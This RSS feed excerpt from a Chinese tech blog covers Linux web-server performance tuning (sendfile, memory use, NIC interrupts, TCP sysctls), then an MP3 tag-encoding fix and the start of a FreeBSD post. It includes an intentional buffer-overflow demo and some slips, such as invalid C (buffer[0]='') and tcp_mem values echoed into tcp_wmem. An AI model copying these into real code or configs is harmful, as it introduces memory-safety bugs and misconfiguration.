sendfile: 它的威力在于，它为大家提供了一种访问当前不断膨胀的Linux网络堆栈的机制。这种机制叫做“零拷贝(zero-copy)”,这种机制可以把“传输控制协议（TCP）”框架直接的从主机存储器中传送到网卡的缓存块（network card buffers）中去，避免了两次上下文切换。详细参见 &lt;使用sendfile()让数据传输得到最优化&gt; 。据同事测试说固态硬盘SSD对于小文件的随机读效率很高，对于更新不是很频繁的图片服务，读却很多，每个文件都不是很大的话，sendfile+SSD应该是绝配。<br />
<br />
splice and tee: splice背后的真正概念是暴露给用户空间的“随机内核缓冲区”的概念。“也就是说，splice和tee运行在用户控制的内核缓冲区上，在这个缓冲区中，splice将来自任意文件描述符的数据传送到缓冲区中(或从缓冲区传送到文件描述符)，而tee将一个缓冲区中的数据复制到另一个缓冲区中。因此，从一个很真实(而抽象)的意义上讲，splice相当于内核缓冲区的read/write，而tee相当于从内核缓冲区到另一个内核缓冲区的memcpy。”。本人觉得这个技术用来做代理，很合适。因为数据可以直接从一个soket到另一个soket，不需要经用户和内核空间的切换。这是sendfile不支持的。详细参见 &lt;linux2.6.17以上内核中的 splice and tee&gt; ,具体实例请参见  man 2  tee ,里面有个完整的程序。<br />
<br />
3，如何清空一块内存(memset ?)<br />
比如有一个buffer[1024*1024],我们需要把它清空然后strcat(很多情况下可以通过记录写的起始位置+memcpy来代替)追加填充字符串。<br />
其实我们没有必要用memset(buffer,0x00,sizeof(buffer))来清空整个buffer, memset(buffer,0x00,1)就能达到目的。 我平时更喜欢用buffer[0]=''; 来替代，省了一次函数调用的开销。<br />
<br />
4，内存复用  (有必要为每个响应分配内存 ?)<br />
对于NBA JS服务来说，我们返回的都是压缩数据，99%都不超过15k，基本一次write就全部出去了，是没有必要为每个响应分配内存的，公用一个buffer就够了。如果真的遇到大数据，我先write一次，剩下的再暂存在内存里，等待下次发送。<br />
<br />
5，避免频繁动态申请/释放内存（malloc）<br />
这个似乎不用多说，要想一个Server启动后成年累月的跑，就不应该频繁地去动态申请和释放内存。原因很简单一，避免内存泄露。二，避免碎片过多。三，影响效率。一般来说，都是一次申请一大块内存，然后自己写内存分配算法。为http用户分配的缓冲区生命期的特点是，可以随着fd的关闭，而回收，避免漏网。还有Server的编写者应该对自己设计的程序达到最高支撑量的时候所消耗的内存心中有数。<br />
<br />
6，字节对齐<br />
先看下面的两个结构体有什么不同：<br />
struct A {<br />
&nbsp;       short size; <br />
&nbsp;       char *ptr;<br />
&nbsp;       int left;<br />
} a ;<br />
<br />
struct B {<br />
&nbsp;       char *ptr;<br />
&nbsp;       short size; <br />
&nbsp;       int left;<br />
} b ;<br />
<br />
仅仅是一个顺序的变化,结构体B顺序是合理的:<br />
在32bit linux系统上，是按照32/8bit=4byte来对齐的， sizeof(a)=12 ,sizeof(b)=12 。<br />
在64bit linux系统上，是按照64/8bit=8byte来对齐的， sizeof(a)=24 ,sizeof(b)=16 。<br />
32bit机上看到的A和B结果大小是一样的，但是如果把int改成short效果就不一样了。<br />
<br />
如果我想强制以2byte对齐，可以这样：<br />
#pragma pack(2)<br />
struct A {<br />
&nbsp;       short size; <br />
&nbsp;       char *ptr;<br />
&nbsp;       int left;<br />
} a ;<br />
#pragma pack()<br />
注意pack()里的参数，只能指定比本机支持的字节对齐标准小，而不能更大。<br />
<br />
7，内存安全问题<br />
先举个好玩的例子，不使用a，而给a赋上值:<br />
int main()<br />
{<br />
&nbsp;       char a[8];<br />
&nbsp;       char b[8];<br />
&nbsp;       memcpy(b,"1234567890",10);<br />
&nbsp;       printf("a=%s ",a);<br />
&nbsp;       return 0;<br />
}<br />
程序输出  a=90 。<br />
这就是典型的溢出，如果是空闲的内存，用点也就罢了，可是把别人地盘上的数据覆盖了，就不好了。<br />
接收的用户数据一定要严格判断，确定不会越界，不是每个人都按规矩办事的，搞不好就挂了。<br />
<br />
8，云风的内存管理理论 （sd2c大会所获 blog &amp; ppt）<br />
没有永远不变的原则<br />
大原则变化的慢<br />
没有一劳永逸的解决方案<br />
内存访问很廉价但有代价<br />
减少内存访问的次数是很有意义的<br />
随机访问内存慢于顺序访问内存<br />
请让数据物理上连续<br />
集中内存访问优于分散访问<br />
尽可能的将数据紧密的存放在一起<br />
无关性内存访问优于相关性内存访问<br />
请考虑并行的可能性、即使你的程序本身没有使用并行机制<br />
控制周期性密集访问的数据大小<br />
必要时采用时间换空间的方法<br />
读内存快于写内存<br />
代码也会占用内存，所以、保持代码的简洁<br />
<br />
物理法则<br />
晶体管的排列<br />
批量回收内存<br />
不释放内存，留给系统去做<br />
list map  vector (100次调用产生１３次内存分配和释放)<br />
长用字符串做成hash，使用指针访问<br />
直接内存页处理控制<br />
<br />
三，减少磁盘I/O<br />
这个其实就是通过尽可能的使用内存达到性能提高和i/o减少。从系统的读写buffer到用户空间自己的cache，都是可以有效减少磁盘i/o的方法。用户可以把数据暂存在自己的缓冲区里，批量读写大块数据。cache的使用是很必要的，可以自己用共享内存的方法实现，也可以用现成的BDB来实现。欢迎访问我的公益站点 berkeleydb.net ,不过我不太欢迎那种问了问题就跑的人。BDB默认的cache只有256K，可以调大这个数字，也可以纯粹使用Mem Only方法。对于预先知道的结果，争取不从磁盘取第二次，这样磁盘基本就被解放出来了。BDB取数据的速度每秒大概是100w条（2CPU*2Core Xeon(R) E5410 @ 2.33GHz环境测试,单条数据几十字节），如果你想取得更高的性能建议自己写。<br />
<br />
<br />
四，优化你的网卡<br />
首先ethtool ethx 看看你的外网出口是不是Speed: 1000Mb/s 。<br />
对于多核服务器，运行top命令，然后按一下1，就能看到每个核的使用情况。如果发现cpuid=0的那颗使用率明显高于其他核，那就说明id=0的cpu将来也许会成为你的瓶颈。然后可以用mpstat（非默认安装）命令查看系统中断分布，用cat /proc/interrupts 网卡中断分布。<br />
<br />
下面这个数据是我们已经做过优化了的服务器中断分布情况:<br />
[yangjian2@D08043466 ~]$ mpstat -P ALL 1<br />
Linux 2.6.18-53.el5PAE (D08043466)      12/15/2008<br />
01:51:27 PM  CPU   %user   %nice    %sys %iowait    %irq   %soft  %steal   %idle    intr/s<br />
01:51:28 PM  all    0.00    0.00    0.00    0.00    0.00    0.00    0.00  100.00   1836.00<br />
01:51:28 PM    0    0.00    0.00    0.00    0.00    0.00    0.00    0.00  100.00    179.00<br />
01:51:28 PM    1    0.00    0.00    0.00    0.00    0.00    0.00    0.00  100.00    198.00<br />
01:51:28 PM    2    1.00    0.00    0.00    0.00    0.00    0.00    0.00  100.00    198.00<br />
01:51:28 PM    3    0.00    0.00    0.00    0.00    0.00    0.00    0.00  100.00    346.00<br />
01:51:28 PM    4    0.00    0.00    0.00    0.00    0.00    0.00    0.00  100.00    207.00<br />
01:51:28 PM    5    0.00    0.00    0.00    0.00    0.00    0.00    0.00  100.00    167.00<br />
01:51:28 PM    6    0.00    0.00    0.00    0.00    0.00    0.00    0.00  100.00    201.00<br />
01:51:28 PM    7    0.00    0.00    0.00    0.00    0.00    0.00    0.00  100.00    339.00<br />
<br />
没优化过的应该是这个样子:<br />
yangjian2@xk-6-244-a8 ~]$ mpstat -P ALL 1<br />
Linux 2.6.18-92.1.6.el5 (xk-6-244-a8.bta.net.cn)        12/15/2008<br />
02:05:26 PM  CPU   %user   %nice    %sys %iowait    %irq   %soft  %steal   %idle    intr/s<br />
02:05:27 PM  all    0.00    0.00    0.00    0.12    0.00    0.00    0.00   99.88   1593.00<br />
02:05:27 PM    0    0.00    0.00    0.00    0.00    0.00    0.00    0.00  100.00   1590.00<br />
02:05:27 PM    1    0.00    0.00    0.00    0.00    0.00    0.00    0.00  100.00      0.00<br />
02:05:27 PM    2    0.00    0.00    0.00    0.00    0.00    0.00    0.00  100.00      2.00<br />
02:05:27 PM    3    0.00    0.00    0.00    0.00    0.00    0.00    0.00  100.00      0.00<br />
02:05:27 PM    4    0.00    0.00    0.00    0.00    0.00    0.00    0.00  100.00      0.00<br />
02:05:27 PM    5    0.00    0.00    0.00    0.00    0.00    0.00    0.00  100.00      0.00<br />
02:05:27 PM    6    0.00    0.00    0.00    0.00    0.00    0.00    0.00  100.00      0.00<br />
02:05:27 PM    7    0.00    0.00    0.00    0.00    0.00    0.00    0.00  100.00      0.00<br />
<br />
对于32bit的centos5，mpstat -P ALL 1表现跟第一种情况一样,分布比较平均，但是一但有了访问量，就可以看到差距。cat /proc/interrupts 看起来更直观些，很清楚的知道哪个网卡的中断在哪个cpu上处理。<br />
<br />
其实，当你遇到网卡中断瓶颈的时候证明你的网站并发度已经相当高了，每秒三五万个请求还至于成为瓶颈。除非你的应用程序同时也在消耗cpu0的资源。对于这种情况，建议使用多进程模式，每个进程用 sched_setaffinity绑定特定的cpu，把cpu0从用户事物中解放出来，专心处理系统事物，当然包括中断。这样你的极限应该能处理20w+ http req/s (2CPU*4Core服务器)。但是对于多线程模式来说，我们就显得无能为力了，因为我们如果想使用多核，就没法不用cpu0。目前的方法只有两个：一，转化为多进程，然后进程内再使用多线程。二，让你的网卡中断分散在多个cpu上(目前只有硬件解决方案，感谢xiaodong2提供的技术支持)。 (修正：后来仔细读了几遍man手册，发现sched_setaffinity绑定特定的cpu对于多线程也是适用的，并且实验通过,只需要将第一个参数置为0。这对cpu0的解放是个很好的发现。)<br />
<br />
将网卡中断分散在多个cpu硬件解决方案: 我们新加了一块网卡（前提是这个网卡支持中断分布），然后通过通过linux bonding将两个网卡比如eth0,eth1联合成一个通道bond0（当然这里还涉及到交换机的调整），然后bond0就有了2G的带宽吞吐量。把eth0的中断处理帮定在cpu 0-3，把eth1中断处理帮定在cpu 4-7，这样中断就被分布开了。这样会带来一些额外的cpu开销，但是跟好处相比可以忽略不计。我在网卡优化过的32bit服务器上测试http请求处理极限为 40w+ req/s，将近提升了一倍。<br />
<br />
<br />
五，调整内核参数<br />
<br />
我的内核心参数调整原则是，哪个遇到瓶颈调哪个，谨慎使用，不能凭想象乱调一气。看下面例子，其中default是我们公司定做的系统默认的一些参数值。add by yangjian2并非全部都要调整，我只挑几个比较重要的参数说明一下，更多TCP方面的调优请参见 man 7 tcp 。<br />
#++++++++++++++++++default++++++++++++++++++++++++++++++<br />
net.ipv4.tcp_syncookies = 1<br />
net.ipv4.tcp_max_tw_buckets = 180000<br />
net.ipv4.tcp_sack = 1<br />
net.ipv4.tcp_window_scaling = 1<br />
net.ipv4.tcp_rmem = 4096        87380   4194304<br />
net.ipv4.tcp_wmem = 4096        16384   4194304<br />
#++++++++++++++++++add by yangjian2++++++++++++++++++++++<br />
net.ipv4.tcp_max_syn_backlog = 65536<br />
net.core.netdev_max_backlog =  32768<br />
net.core.somaxconn = 32768<br />
<br />
net.core.wmem_default = 8388608<br />
net.core.rmem_default = 8388608<br />
net.core.rmem_max = 16777216<br />
net.core.wmem_max = 16777216<br />
<br />
net.ipv4.tcp_timestamps = 0<br />
net.ipv4.tcp_synack_retries = 2<br />
net.ipv4.tcp_syn_retries = 2<br />
<br />
net.ipv4.tcp_tw_recycle = 1<br />
#net.ipv4.tcp_tw_len = 1<br />
net.ipv4.tcp_tw_reuse = 1<br />
<br />
net.ipv4.tcp_mem = 94500000 915000000 927000000<br />
net.ipv4.tcp_max_orphans = 3276800<br />
#++++++++++++++++++++++++++++++++++++++++++++++++++++++++<br />
<br />
maxfd: 对于系统所能打开的最大文件描述符fd，可以通过以root启动程序，setrlimit()设置maxfd后，再通过setuid()转为普通用户提供服务,我用的 int set_max_fds(int maxfds); 函数是zhongying提供的。这比用ulimit来的方便的多，不晓得为什么那么多开源软件都没这样用。<br />
<br />
net.ipv4.tcp_max_syn_backlog = 65536 : 这个参数可以肯定是必须要修改的，默认值1024，我google了一下，几乎是人云亦云，没有说的明白的。 要讲明白得从man listen说起，int listen(int sockfd, int backlog);  早期的网络编程都中描述，int backlog 代表未完成队列SYN_RECV状态+已完成队列ESTABLISHED的和。但是这个意义在Linux 2.2以后的实现中已经被改变了，int backlog只代表已完成队列ESTABLISHED的长度，在AF_INET协议族中（我们广泛使用的就是这个），当int backlog大于SOMAXCONN  (128 in Linux 2.0 &amp; 2.2)的时候，会被调整为常量SOMAXCONN大小。这个常量可以通过net.core.somaxconn来修改。而未完成队列大小可以通过net.ipv4.tcp_max_syn_backlog来调整，一般遭受syn flood攻击的网站，都存在大量SYN_RECV状态，所以调大tcp_max_syn_backlog值能增加抵抗syn攻击的能力。<br />
<br />
net.ipv4.tcp_syncookies = 1 : 当出现syn等候队列出现溢出时象对方发送syncookies。目的是为了防止syn flood攻击 , 默认值是 0。 不过man listen说当启用syncookies时候，tcp_max_syn_backlog的sysctl调整将失效，和这个描述不是很符合。参见下面两个描述分别是man listen和man 7 tcp:<br />
When syncookies are enabled there is no logical maximum length and this tcp_max_syn_backlog sysctl  setting  is  ignored.<br />
Send out  syncookies  when the syn backlog queue of a socket overflows.<br />
但我可以肯定的说这个选项对你的性能不会有提高，而且它严重的违背TCP协议，不允许使用TCP扩展,除非遭受攻击，否则不推荐使用。<br />
<br />
net.ipv4.tcp_synack_retries = 2 : 对于远端的连接请求SYN，内核会发送SYN ＋ ACK数据报，以确认收到上一个 SYN连接请求包。这是所谓的三次握手( threeway handshake)机制的第二个步骤。这里决定内核在放弃连接之前所送出的 SYN+ACK 数目。如果你的网站SYN_RECV状态确实挺多，为了避免syn攻击，那么可以调节重发的次数。<br />
<br />
net.ipv4.tcp_syn_retries = 2 : 对于一个新建连接，内核要发送多少个 SYN 连接请求才决定放弃。不应该大于255，默认值是5，对应于180秒左右。这个对防止syn攻击其实是没有用处的，也没必要调节。<br />
<br />
net.ipv4.tcp_max_orphans = 3276800 : 这个最好不要修改，因为每增加1，将消耗~64k内存。即使报错 TCP: too many of orphaned sockets 也有可能是由于你的net.ipv4.tcp_mem过小，导致的Out of socket memory，继而引发的。<br />
<br />
net.ipv4.tcp_wmem = 4096 16384 4194304 :  为自动调优定义每个socket使用的内存。第一个值是为socket的发送缓冲区分配的最少字节数。第二个值是默认值（该值会被 wmem_default覆盖），缓冲区在系统负载不重的情况下可以增长到这个值。第三个值是发送缓冲区空间的最大字节数（该值会被wmem_max覆盖）。<br />
<br />
net.ipv4.tcp_rmem = 4096 87380 4194304 : 接收缓冲区，原理同上。<br />
<br />
net.ipv4.tcp_mem = 94500000 915000000 927000000 :<br />
low：当TCP使用了低于该值的内存页面数时，TCP不会考虑释放内存。<br />
pressure：当TCP使用了超过该值的内存页面数量时，TCP试图稳定其内存使用，进入pressure模式，当内存消耗低于low值时则退出pressure状态。<br />
high：允许所有tcp sockets用于排队缓冲数据报的内存页数。<br />
<br />
一般情况下这个值是在系统启动时根据系统内存数量计算得到的，如果你的dmesg报 Out of socket memory，你可以试着修改这个参数，顺便介绍３个修改方法:<br />
1, echo "94500000 915000000 927000000" &gt; /proc/sys/net/ipv4/tcp_wmem<br />
2, sysctl -w "net.ipv4.tcp_mem = 94500000 915000000 927000000"<br />
3, net.ipv4.tcp_mem = 94500000 915000000 927000000  (vi /etc/sysctl.conf 然后 sysctl -p生效)<br />
<br />
下面命令也许能提供些信息，在你修改tcp参数时做个参考:<br />
[sports@xk-6-244-a8 nbahttpd_beta4.0]$ cat  /proc/net/sockstat<br />
sockets: used 1195<br />
TCP: inuse 1177 orphan 30 tw 199 alloc 1181 mem 216<br />
UDP: inuse 0 mem 0<br />
RAW: inuse 0<br />
FRAG: inuse 0 memory 0<br />
<br />
其他我就不多说了，知道这些基本就能解决绝大部分问题了。<br />
<br />
<br />
六，衡量Web Server的性能指标<br />
<br />
我认为一个好的Server应该能在有限的硬件资源上将性能发挥到极限。<br />
Web Server的衡量指标并非单一，要根据具体应用类型而定。比如财经实时图片系统，我们关注它每秒输出图片数量。NBA js直播放系统，我们关心他的同时在线connections和当时的每秒请求处理量。行情系统，我们关心它connections和请求处理量的同时还要关心每个请求平均查询多少支股票。但总体来说同时在线connections和当时的每秒请求处理量是两个最重要的指标。<br />
<br />
对于图片系统再说一句,我觉得大图片和小图片是应该区别对待的，小图片不应该产生磁盘 I/O 。<br />
<br />
Nginx是我见过的Web Server中性能比较高的一个,他几乎是和我的server同时诞生，可能还更早些，框架很不错，我觉得目前版本稍微优化下，支持10w connections不成问题。 lighttpd也不错，我对他的认识还是停留在几年前的性能测试上，它的性能会比nginx逊色一些。他们都支持epoll,sendfile,可以起多个进程worker，worker内部使用非阻塞，这是比较优良的I/O的模型。Squid,Apache，都是骨灰级软件了，好处就是支持的功能多，另许多轻量级Server望尘莫及，可是性能太一般了，祝愿他们早日重写。<br />
<br />
插点小插曲，我在财经项目组的时候，有的同事来我们组一年多了，问我是不是管机器的，我点点头，后来又有比较了解我的同事说我是系统管理员，我说“恩”。其实我的主业是写程序的。也许是我太低调了，觉得那些陈年往事不值再提，以至于别人对我做的东西了解甚少, 今天我就高调一把，公布一些我写的程序的性能指标。我们的系统近几年来说在性能上是领先业内的(不争世界第一，那样压力太大，第二就很好,也许正在看我blog的你一不留神就把我超了呢 ^-^ )，高效的原因很重要的一点是由于它是根据服务特点量身订做的。<br />
<br />
实验环境数据： 我写了个HTTP服务框架，不使用磁盘I/O，简化了逻辑处理部分，只会输出 "hello world!"  程序部署在192.168.0.1上(2cup*4Core,硬件和系统都做过优化)，我在另外8台同等配置服务器上同时执行命令  ./apache/bin/ab -c 1000  -n 3000000   -k  "http://192.168.0.1/index.html" 几乎同时处理完毕，总合相加 40w req/s，我相信这是目前硬件水平上的极限值 。<br />
<br />
真实环境数据：2cup*4Core Mem 16G, 64bit centos5，单机23w+ connections, 3.5w req/s时，CPU总量消耗 1/8，内存消耗0.4%（相当于正好消耗了一个Core+64M Mem）。在30w+ connections, 4.6w req/s 时,CPU总量消耗 1/4，内存消耗 0.5% 。保守地说，只要把网卡中断分散一下，单机50w+ connections很easy。  更多数据图文参见“NBA js直播的发展历程”一节。<br />
<br />
有些人了解我是由于财经的实时行情系统，虽然每天处理近百亿的http请求处理量还不错，但那并非我的得意之作，相反我觉得那个写的有些粗糙，至少有一倍以上的性能提升空间。对于行情系统，我还是很想把它做成push的，目标仍然是单机50w+在线，无延迟推送,可惜本人js功底太烂，所以要作为一个长期的地下项目去做,如果可能，我想一开始就把它作为一个开源项目来做。<br />
<br />
我个人比较喜欢追求性能极限，公司对此暂时还不是很认可,或者说重视程度还不够，可能是由于我们的硬件资源比较充裕吧。尽管如此，只要我认为对企业有价值的，就依然会坚持做下去，我的目标是获得业界的认可。同时我相信中国的未来不缺乏互联网用户，当有人烧不起钱的时候想起了我，那我就是有价值的。<br />
<br />
这里说的有点多了，不过放心，ppt我会做的相当简单。<br />
&nbsp;</p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/mstsc_patch">拒绝远程连接泄露你的信息</a></p><p><a href="http://www.holmesian.org/MySQL-BinLog">MySQL服务器的log-bin功能</a></p><p><a href="http://www.holmesian.org/post/530">老服务器上发现了个这。。。</a></p><p><a href="http://www.holmesian.org/my_cnf">MySQL的my.cnf文件的详解</a></p><p><a href="http://www.holmesian.org/stop_1">今天服务器竟然被关停了一下午……</a></p><p><a href="http://www.holmesian.org/Google_Hardware">Google服务器现身江湖</a></p></div>]]></description>
	<pubDate>Sat, 16 Oct 2010 10:00:55 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/server_better</guid>

</item>
<item>
	<title>解决Linux下音乐播放器列表乱码问题</title>
	<link>http://www.holmesian.org/Linux_utf_gbk</link>
	<description><![CDATA[<p>在Windows和Linux共存的电脑上容易遇到Linux下音乐播放器列表乱码问题，原因是mp3文件的标签和标签编码不兼容。知道导致乱码的原因之后要解决编码导致的播放器列表乱码可以通过两条思路：转换mp3文件中标签的编码为统一的一种兼容Windows和Linux的编码UTF8；修改Linux下的用户环境变量让相应的音乐播放器读取mp3文件时使用和mp3文件标签相同的编码GBK。<span style="color:#0000ff;">由于修改mp3文件可能回带来一些不可预期的问题，所以推荐修改Linux本身的设置来解决乱码问题。</span></p>
<blockquote>
<p>说说 mp3 标签类型和编码，大家应该知道目前主要存在这几种标准，ID3v1, ID3v2 2.3, ID3v2 2.4, APEv2，ID3v1 只支持 ISO-8859-1 编码 (编码集参考)， 严格的说它是不支持中文的 (并不代表它不能储存中文信息，目前中文 mp3 的 ID3v1 标签都使用这个字段来储存 GBK/GB18030 编码的中文信息)，而第二版 (ID3v2) 支持的格式增加了 utf-16，直到 2.4 版才开始支持 uft-8，但 ID3v2 标准没有统一标签内容的编码，例如 2.4 版的 ID3v2 你可以使用 ISO-8859-1 编码，也可以使用 utf-16/uft-8 这种 Unicode 编码格式。做得最好的是 APEv2，它不但有很好的扩展性，而且还把编码格式统一为 utf-8，这样一来只要支持 APEv2 读取的播放器播放带有 APEv2 标签的 mp3 就不会存在乱码问题。</p>
</blockquote>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>一、修改mp3文件标签</p>
<p>借助现成的工具python-mutagen</p>
<div contenteditable="false" class="HighLighter">
<div contenteditable="false" class="dp-highlighter">
<div class="bar">&nbsp;</div>
<ol class="dp-py" start="1">
    <li class="alt"><span><span>holmesian@holmesian-laptop:~$ sudo apt-get install python-mutagen</span></span></li>
    <li><span>正在读取软件包列表... 完成</span></li>
    <li class="alt"><span>正在分析软件包的依赖关系树       </span></li>
    <li><span>正在读取状态信息... 完成       </span></li>
    <li class="alt"><span>下列【新】软件包将被安装：</span></li>
    <li><span>  python-mutagen</span></li>
    <li class="alt"><span>升级了 <span class="number">0</span><span> 个软件包，新安装了 </span><span class="number">1</span><span> 个软件包，要卸载 </span><span class="number">0</span><span> 个软件包，有 </span><span class="number">3</span><span> 个软件包未被升级。</span></span></li>
    <li><span>需要下载 <span class="number">85.5kB</span><span> 的软件包。</span></span></li>
    <li class="alt"><span>解压缩后会消耗掉 <span class="number">463kB</span><span> 的额外空间。</span></span></li>
    <li><span>获取：<span class="number">1</span><span> http://mirrors.</span><span class="number">163.com</span><span>/ubuntu/ lucid/main python-mutagen </span><span class="number">1.15</span><span>-</span><span class="number">2build1</span><span> [</span><span class="number">85.5kB</span><span>]</span></span></li>
    <li class="alt"><span>下载 <span class="number">85.5kB</span><span>，耗时 </span><span class="number">10</span><span>秒 (</span><span class="number">7</span><span>,</span><span class="number">862B</span><span>/s)                                                                                           </span></span></li>
    <li><span>选中了曾被取消选择的软件包 python-mutagen。</span></li>
    <li class="alt"><span>(正在读取数据库 ... 系统当前总共安装有 <span class="number">153569</span><span> 个文件和目录。)</span></span></li>
    <li><span>正在解压缩 python-mutagen (从 .../python-mutagen_1.<span class="number">15</span><span>-</span><span class="number">2build1_all</span><span>.deb) ...</span></span></li>
    <li class="alt"><span>正在处理用于 man-db 的触发器...</span></li>
    <li><span>正在设置 python-mutagen (<span class="number">1.15</span><span>-</span><span class="number">2build1</span><span>) ...</span></span></li>
</ol>
</div>
<div contenteditable="false" class="python" style="display:none;">
<pre>holmesian@holmesian-laptop:~$ sudo apt-get install python-mutagen
正在读取软件包列表... 完成
正在分析软件包的依赖关系树       
正在读取状态信息... 完成       
下列【新】软件包将被安装：
  python-mutagen
升级了 0 个软件包，新安装了 1 个软件包，要卸载 0 个软件包，有 3 个软件包未被升级。
需要下载 85.5kB 的软件包。
解压缩后会消耗掉 463kB 的额外空间。
获取：1 http://mirrors.163.com/ubuntu/ lucid/main python-mutagen 1.15-2build1 [85.5kB]
下载 85.5kB，耗时 10秒 (7,862B/s)                                                                                           
选中了曾被取消选择的软件包 python-mutagen。
(正在读取数据库 ... 系统当前总共安装有 153569 个文件和目录。)
正在解压缩 python-mutagen (从 .../python-mutagen_1.15-2build1_all.deb) ...
正在处理用于 man-db 的触发器...
正在设置 python-mutagen (1.15-2build1) ...</pre> </div>
<div contenteditable="false">
<link href="/editor/fckeditor/editor/plugins/highlighter/dp.SyntaxHighlighter/Styles/SyntaxHighlighter.css" type="text/css" rel="stylesheet"></div>
</div>
<div contenteditable="false" class="HighLighter">
<div contenteditable="false" class="dp-highlighter">
<div class="bar">&nbsp;</div>
<ol start="1" class="dp-py">
    <li class="alt"><span><span>接着转到MP3目录，执行命令进行转换mp3文件标签：mid3iconv -e GBK *.mp3</span></span></li>
    <li><span>转换子目录下的文件可以用*/*，mid3iconv -e GBK */*.mp3</span></li>
    <li class="alt">&nbsp;</li>
    <li><span>holmesian@holmesian-laptop:/media/<span class="number">64E83E37E83E0836</span><span>/music$ mid3iconv -e GBK */*.mp3</span></span></li>
    <li class="alt"><span>Updating Jay/<span class="number">02.</span><span>画沙[CD版].mp3</span></span></li>
    <li><span>Updating Jay/<span class="number">04</span><span> 晴天.mp3</span></span></li>
    <li class="alt"><span>Updating Jay/<span class="number">06</span><span> 倒带.mp3</span></span></li>
    <li><span>Updating Jay/<span class="number">07</span><span> 简单爱.mp3</span></span></li>
    <li class="alt"><span>Updating Jay/<span class="number">10</span><span> 星晴+回到过去+爱我别走.mp3</span></span></li>
    <li><span>Updating Jay/<span class="number">11</span><span> 东风破.mp3</span></span></li>
    <li class="alt"><span>.....</span></li>
</ol>
</div>
<div contenteditable="false" style="display:none;" class="python">
<pre>接着转到MP3目录，执行命令进行转换mp3文件标签：mid3iconv -e GBK *.mp3
转换子目录下的文件可以用*/*，mid3iconv -e GBK */*.mp3

holmesian@holmesian-laptop:/media/64E83E37E83E0836/music$ mid3iconv -e GBK */*.mp3
Updating Jay/02.画沙[CD版].mp3
Updating Jay/04 晴天.mp3
Updating Jay/06 倒带.mp3
Updating Jay/07 简单爱.mp3
Updating Jay/10 星晴+回到过去+爱我别走.mp3
Updating Jay/11 东风破.mp3
.....</pre> </div>
<div contenteditable="false">
<link rel="stylesheet" type="text/css" href="/editor/fckeditor/editor/plugins/highlighter/dp.SyntaxHighlighter/Styles/SyntaxHighlighter.css"></div>
</div>
<p>最后，重新导入一次rhythmbox就OK了。</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>二、修改Linux用户变量（<span style="color:#0000ff;">强烈推荐</span>）</p>
<p>由于修改mp3文件可能回带来一些不可预期的问题，所以推荐修改Linux本身的设置来解决乱码问题。以Rhythmbox为例，简单的可以在启动命令中修改</p>
<div contenteditable="false" class="HighLighter">
<div contenteditable="false" class="dp-highlighter">
<div class="bar">&nbsp;</div>
<ol class="dp-py" start="1">
    <li class="alt"><span><span>图标上，右键 -&gt; 属性 -&gt; 命令 改为 env GST_ID3_TAG_ENCODING=GBK rhythmbox %U</span></span></li>
    <li><span>(原为rhythmbox %U)</span></li>
</ol>
</div>
<div contenteditable="false" class="python" style="display:none;">
<pre>图标上，右键 -&gt; 属性 -&gt; 命令 改为 env GST_ID3_TAG_ENCODING=GBK rhythmbox %U
(原为rhythmbox %U)</pre> </div>
<div contenteditable="false">
<link href="/editor/fckeditor/editor/plugins/highlighter/dp.SyntaxHighlighter/Styles/SyntaxHighlighter.css" type="text/css" rel="stylesheet"></div>
</div>
<p>启动之后重新导入音乐文件即可。</p>
<p>-------------------------------------------------------------------------------------------------------------------</p>
<p>或者是修改用户变量</p>
<div contenteditable="false" class="HighLighter">
<div contenteditable="false" class="dp-highlighter">
<div class="bar">&nbsp;</div>
<ol class="dp-py" start="1">
    <li class="alt"><span><span>vim .profile</span></span></li>
</ol>
</div>
<div contenteditable="false" class="python" style="display:none;">
<pre>vim .profile</pre> </div>
<div contenteditable="false">
<link href="/editor/fckeditor/editor/plugins/highlighter/dp.SyntaxHighlighter/Styles/SyntaxHighlighter.css" type="text/css" rel="stylesheet"></div>
</div>
<p>在用户的环境变量中添加如下内容</p>
<div contenteditable="false" class="HighLighter">
<div contenteditable="false" class="dp-highlighter">
<div class="bar">&nbsp;</div>
<ol class="dp-py" start="1">
    <li class="alt"><span><span>export GST_ID3_TAG_ENCODING=GBK:UTF-</span><span class="number">8</span><span>:GB18030</span></span></li>
    <li><span>export GST_ID3V2_TAG_ENCODING=GBK:UTF-<span class="number">8</span><span>:GB18030</span></span></li>
</ol>
</div>
<div contenteditable="false" class="python" style="display:none;">
<pre>export GST_ID3_TAG_ENCODING=GBK:UTF-8:GB18030
export GST_ID3V2_TAG_ENCODING=GBK:UTF-8:GB18030</pre> </div>
<div contenteditable="false">
<link href="/editor/fckeditor/editor/plugins/highlighter/dp.SyntaxHighlighter/Styles/SyntaxHighlighter.css" type="text/css" rel="stylesheet"></div>
</div>
<p>&nbsp;</p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/win7-STOP-NCSI">Windows7一个可能泄漏隐私的选项</a></p><p><a href="http://www.holmesian.org/FreeBSD-Linux-mv">Unix和Linux下的改名命令-mv</a></p><p><a href="http://www.holmesian.org/Nginx_separator">解决Nginx下二级目录斜杠问题</a></p><p><a href="http://www.holmesian.org/Linux_0Day">Linux通杀0Day（2010年10月19日）</a></p><p><a href="http://www.holmesian.org/FreeBSD-ESXi-opt">FreeBSD在ESXi的虚拟环境下php-cgi性能极差</a></p><p><a href="http://www.holmesian.org/NetworkManager-resolv_conf"> Ubuntu10.04的resolv.conf会重置的解决办法</a></p></div>]]></description>
	<pubDate>Mon, 11 Oct 2010 10:11:49 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/Linux_utf_gbk</guid>

</item>
<item>
	<title>FreeBSD配置csh/tcsh</title>
	<link>http://www.holmesian.org/FreeBSD_csh_tcsh</link>
	<description><![CDATA[<script type="text/javascript" src="/editor/fckeditor/editor/plugins/highslide/js/highslide.js"></script>
<p>
<link href="/editor/fckeditor/editor/plugins/highslide/js/highslide.css" type="text/css" rel="stylesheet"><script type="text/javascript" src="/editor/fckeditor/editor/plugins/highslide/js/main.js"></script>
</p>
<div class="highslide-gallery">
<h3>&nbsp;</h3>
<div class="level3">
<p>和许多刚从 Linux 转到 BSD 的人不同，我并没有装完 BSD 就顺手安装 bash，<br />
